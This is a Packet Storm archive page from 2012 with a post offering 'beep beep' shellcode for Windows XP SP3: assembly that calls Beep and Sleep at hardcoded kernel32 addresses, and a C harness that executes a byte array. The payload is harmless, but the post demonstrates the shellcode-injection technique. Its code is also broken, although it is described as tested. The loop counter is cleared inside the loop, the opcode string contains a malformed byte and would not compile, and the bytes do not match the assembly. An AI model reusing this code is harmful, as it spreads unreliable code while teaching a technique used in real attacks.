ignore security and it'll go away

Win32/XP Pro SP3 Beep Beep Shellcode

Win32/XP Pro SP3 Beep Beep Shellcode
Posted Jan 31, 2012
Authored by Debasish Mandal

Win32/XP Pro SP3 (EN) 32-bit beep beep shellcode.

tags | shellcode
systems | windows
MD5 | 861c8d26c5ad427084a84f88767aa3d1

Win32/XP Pro SP3 Beep Beep Shellcode

Change Mirror Download
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Title: win32/xp pro Sp3 (EN) 32-bit - Beep Beep Shell Code.
Description:On execution a Beep will occur with an interval of 20 seconds.
Author: Debasish Mandal
Blog : http://www.debasish.in/
Tested on: WinXP Pro SP3 (EN) 32bit.
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Hardcoded opcodes (kernel32.Beep and Kernel32.Sleep)
Win32 API Used:
BOOL WINAPI Beep(
__in DWORD dwFreq,
__in DWORD dwDuration
);
AND
VOID WINAPI Sleep(
__in DWORD dwMilliseconds
);
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Assembly Code!
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
;Beep.asm
[SECTION .text]

global _start

_start:
mov ecx,5 ; Loop
loop:
xor eax,eax
xor ebx,ebx
xor ecx,ecx
xor edx,edx


mov eax, 0x7c837aa7 ;address of Beep
mov bx, 750 ;Frequency
mov dx, 50 ;Duration
push ebx
push edx
call eax ;Call Beep

xor eax,eax
xor ebx,ebx
mov ebx, 0x7c802446 ;address of Sleep
mov ax, 20000 ;pause for 20 Seconds
push eax
call ebx

dec ecx
jnz loop

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Testing the Code!
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
/*shellcodetest.c*/

char code[] = "\x31\xc0
\x31\xdb
\x31\xc9
\x31\xd2
\xb8\xa7\x7a\x83\x7c
\x66\xbb\xee\x02
\x66\xba\x32\x00
\x53
\x52
\xff\xd0
\x31\xc0
\x31\xdb
\xbb 46\x24\x80\x7c
\x66\xb8\xe8\x03
\x50
\xff\xd3
\x49
\x75\xd4
\x31\xc0
\xb8\x12\xcb\x81\x7c
\x50
\xff\xd0";
int main(int argc, char **argv)
{
int (*func)();
func = (int (*)()) code;
(int)(*func)();
}

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close